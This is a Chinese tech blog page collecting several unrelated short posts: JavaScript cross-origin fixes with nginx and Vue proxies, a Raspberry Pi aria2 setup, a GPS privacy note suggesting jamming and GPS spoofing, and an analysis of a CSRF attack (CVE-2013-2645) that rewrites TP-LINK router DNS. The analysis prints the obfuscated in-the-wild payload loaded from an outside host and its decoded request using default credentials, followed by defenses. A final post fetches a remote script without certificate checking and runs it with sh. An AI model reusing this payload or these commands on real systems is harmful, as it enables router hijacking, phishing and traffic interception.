简谈Javascript跨域问题

 

1.关于JS异步通讯

Javascript在进行前后端通讯时我们通常采用AJAX方式异步调用数据,后端输出JSON以提供数据,在我们开发环境下,与后端交互,或从网络站点抓取数据时会出现跨域问题。在后端支持的情况下,我们可以使用jsonp来调用数据。

2.关于Json

Json是我们最常见的与前端交互的异步传输格式,在后端设置了HTTP头Access-Control-Allow-Origin的情况下(CORS)我们可以通过AJAX成功调用数据。

3.关于Jsonp

Jsonp是天然支持跨域的,它的原理是通过Get方式将获取到的数据以脚本的方式来执行,在这种情况下后端是必须要输出一个callback标签头以供Jsonp处理数据,如果没有后端的支持异或是我们调用网络网站的数据,Jsonp是不能成功抓取数据的。

4.解决方案

处理跨域问题我们可以采用Nginx反向代理的形式,将异域的调用地址挂载于服务器上实现同域访问。

Eg:

www.example.com/api/select?id=221 我们将该地址反向代理为 /api 路径实现同源访问

具体步骤:

打开nginx配置文档 设置

location ^~/api/
{ 
rewrite ^/api/(.*)$ /$1 break;
proxy_pass http://api.123.com/; 
}

通过此步我们将api.123.com挂载到了服务器,访问地址为 /api

Nginx反向代理来解决JS跨域问题 在开发环境或生产环节都适用 并且是完全无侵入的 。

5.关于Vue

在Vue-cli脚手架下开发,我们还有更为简便的方法,即使用proxyTable,我们可以将它理解为一个地址映射表,和nginx反向代理实现的结果相同。

具体步骤:

proxyTable: {
  '/api': {
    target: 'http://www.123.com',
    changeOrigin: true,
    pathRewrite: {
      '^/api': '/api'
    }
  }
}

调用部分只用写成 /api 就可以代表 www.123.com/api

Aria2下载机及Mycloud互联

1.Raspberry刷固件

http://www.raspicn.com/thread-149-1-1.html

2.安装http服务器(应本来已经安装较多软件,此处我选择小巧的Lighttpd)

apt-get update

apt-get install lighttpd

打开浏览器 输入Raspberry ip地址 首页可得到Lighttpd 网页目录

3.wget 或者clone https://github.com/ziahamza/webui-aria2

至此aira2及web ui安装完毕

4.安装smbclient

arp -a 指令查看mycloud ip

mount //192.168.9.106/Public /media/disk1/aira2/mycloud -o username=,password=

挂载成功

5.设置自启动

建立挂载目录 chmod给权限

打开etc目录 编辑rc.local 或者rc.d目录下r c.local

exit0前添加 mount //192.168.9.106/Public /media/disk1/aira2/mycloud -o username=,password=

6.编辑/home/pi/.aria2/aria2.conf

dir位置设置默认下载位置

个人位置信息安全(GPS)

随着无线技术的发展,个人位置信息安全也成为一个安全议题,常见的定位手段有1.全球定位系统(GPS)2.辅助全球定位系统(AGPS)3.GSM蜂窝基站定位4.WIFI定位  面对此类通过无线电方式的定位,我们可以采用Wave Bubble进行无线电屏蔽达到防止定位的目的.

但在某些情形下Wave Bubble并不能完全逃避GPS追踪.信号的消失点及GPS运动踪迹会暴露可能的行动路径.这类情况下可以使用GPS Spoofer手段进行GPS欺骗.使GPS数据遵循可能规律不断变化来欺骗GPS卫星.在需要的环境下,GPS Spoofer同样也可以诱导GPS导向仪进行非正常路径导航.

CSRF劫持TP-LINK-DNS

0x00 背景


路由被CSRF攻击,修改DNS的话题最近一直比较活跃,但是国内貌似没有一个技术文章详细的分析此漏洞,漏洞成因比较简单,本篇来科普一下。

本篇讲得是一个利用CVE-2013-2645的漏洞,来修改TP-LINK的DNS案例,针对其他路由的攻击大同小异。

 

0x01 EXP分析


攻击者会在自己的网站或者已经受他控制的网站上加入一段javascript代码:

document.write("<script type=\"text/javascript\" src=\"http://www.xxxxxx.com/js/ma.js\">");

javascript代码动态的从外站加载一个ma.js的文件,看一下ma.js文件里的内容:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p;}('T w$=["\\E\\6\\5\\m\\o\\3\\q\\5\\m\\8\\3\\7\\"\\5\\3\\G\\5\\j\\r\\6\\6\\"\\y\\B\\d\\e\\8\\v\\4\\5\\q\\u\\4\\o\\H\\n\\5\\5\\8\\A\\j\\j\\a\\i\\e\\d\\f\\A\\a\\i\\e\\d\\f\\B\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\j\\u\\6\\3\\4\\z\\8\\e\\j\\s\\a\\f\\F\\n\\r\\8\\C\\3\\4\\l\\3\\4\\z\\8\\e\\1\\n\\5\\e\\I\\i\\n\\r\\8\\6\\3\\4\\l\\3\\4\\7\\2\\c\\d\\8\\2\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\b\\b\\c\\d\\8\\h\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\k\\k\\c\\s\\3\\a\\6\\3\\7\\2\\h\\b\\c\\Q\\a\\5\\3\\x\\a\\m\\7\\b\\1\\b\\1\\b\\1\\b\\c\\i\\v\\e\\a\\d\\f\\7\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\7\\2\\b\\g\\1\\2\\9\\P\\1\\D\\g\\1\\9\\R\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\h\\7\\9\\1\\9\\1\\9\\1\\9\\c\\C\\a\\l\\3\\7\\p\\t\\2\\p\\S\\D\\O\\p\\t\\K\\p\\J\\g\\L\\N\\E\\j\\6\\5\\m\\o\\3\\y\\q"];M["\\x\\4\\d\\5\\3\\o\\f"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))

嗯,是一段混淆的js代码,eval执行一段混淆代码,把eval换成console.log在浏览器的控制台输出一下:

var _$=["\x3c\x73\x74\x79\x6c\x65\x20\x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\x2f\x63\x73\x73\"\x3e\x40\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x28\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x6d\x69\x6e\x3a\x61\x64\x6d\x69\x6e\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x2f\x75\x73\x65\x72\x52\x70\x6d\x2f\x4c\x61\x6e\x44\x68\x63\x70\x53\x65\x72\x76\x65\x72\x52\x70\x6d\x2e\x68\x74\x6d\x3f\x64\x68\x63\x70\x73\x65\x72\x76\x65\x72\x3d\x31\x26\x69\x70\x31\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x30\x30\x26\x69\x70\x32\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x39\x39\x26\x4c\x65\x61\x73\x65\x3d\x31\x32\x30\x26\x67\x61\x74\x65\x77\x61\x79\x3d\x30\x2e\x30\x2e\x30\x2e\x30\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x3d\x31\x30\x36\x2e\x31\x38\x37\x2e\x33\x36\x2e\x38\x35\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x32\x3d\x38\x2e\x38\x2e\x38\x2e\x38\x26\x53\x61\x76\x65\x3d\x25\x42\x31\x25\x41\x33\x2b\x25\x42\x34\x25\x45\x36\x29\x3b\x3c\x2f\x73\x74\x79\x6c\x65\x3e\x20"];document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);

仍然是混淆的代码,但是比一开始的容易看很多,只是把一些字符串给转成了16进制方式表示而已。

\x77\x72\x69\x74\x65\x6c\x6e这段16进制表示的是字符串writeln

javascript中document["writeln"]与document.writeln一样,这是javascript两种访问对象属性的写法。

代码最终等同于:

document.writeln('<style type="text/css">@import url(http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')

现在就很明了了,写了一个style标签import一个css调用,让浏览器去访问这个地址:

http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6

很明显的一个CSRF攻击,攻击者的主要目的是把dns服务器换成106.187.36.85,为了使攻击成功,还加入了一些必要的提交参数,如ip范围是从192.168.1.100-199等。

为了确保所有访问都没有问题,还加入了google的dns,当106.187.36.85有不能解析的域名时,去8.8.8.8获取地址。

针对CSRF的原理危害以及修复方式,drops之前有文章讲过可以参考一下:

CSRF简单介绍及利用方法

应当注意的是这个利用是根据路由的默认密码进入后台做一系列的操作的,如果路由器已经修改的默认用户名密码,可以避免此危害,但是如果浏览器已经在路由后台,或者cookie还未失效,仍然能够攻击成功。

0x02 修改DNS的危害


攻击者为什么要修改DNS呢,当他获取DNS的权限后,他能做什么呢:

1、用户打开一个正常网站时,重定向到一个钓鱼网站。
2、给正常网站加入挂马代码,控制用户PC。
3、软件升级时候不用签名的话,可控制软件的升级。
4、不使用证书的话可以截取邮箱密码,网站上的密码等等。
5、更改网站上的广告,换成自己的。(我觉得这是天朝黑客获取利润的方式)

0x03 如何避免这种攻击


1、首先应该先检查一下自己的dns是否已经被改变了。
2、升级路由的固件,有部分型号已经修复。
3、更改路由器的默认密码。
4、登陆路由后,退出要点击“注销”。

Raspberry LCD

入了一枚Raspberry的LCD小显示屏,想用来做RFID 125Kmz card infomation显示器. 光做信息显示2.2寸感觉还算够用,可以直接和板子相嵌,IPS屏分辨率也很高.做嵌入,家庭自动化,这个屏幕板是一个不错的选择.拿到后发现有很多不完善的地方,github的源码无法直接使用,得修改GPIO引脚定义,调整GPIO18输出低电平.下面有一份调试后的源码.

DSC_3119_副本1 继续阅读Raspberry LCD

Debian/Ubuntu PPTP VPN 一键安装脚本

以前一篇文章讲的openvz做pptp,最近发现那个安装脚本加载的源出了毛病,一直安不上,这里找到了一种新的办法.

此脚本可在 开启Tun/Tap支持的OpenVZ VPS、XEN VPS、独立服务器。 CentOS版的一键包到处都是,虽说Debian粉动手能力强,但为了方便初级用户我弱弱的写个,高手请无视 第一步:确认拥有Root权限 第二步:下载、运行脚本

wget –no-check-certificate http://chinatoosex.com/script/pptp.sh

sh pptp.sh

测试用户名与密码为:test / test123,记录于 /etc/ppp/chap-secrets 。enjoy it.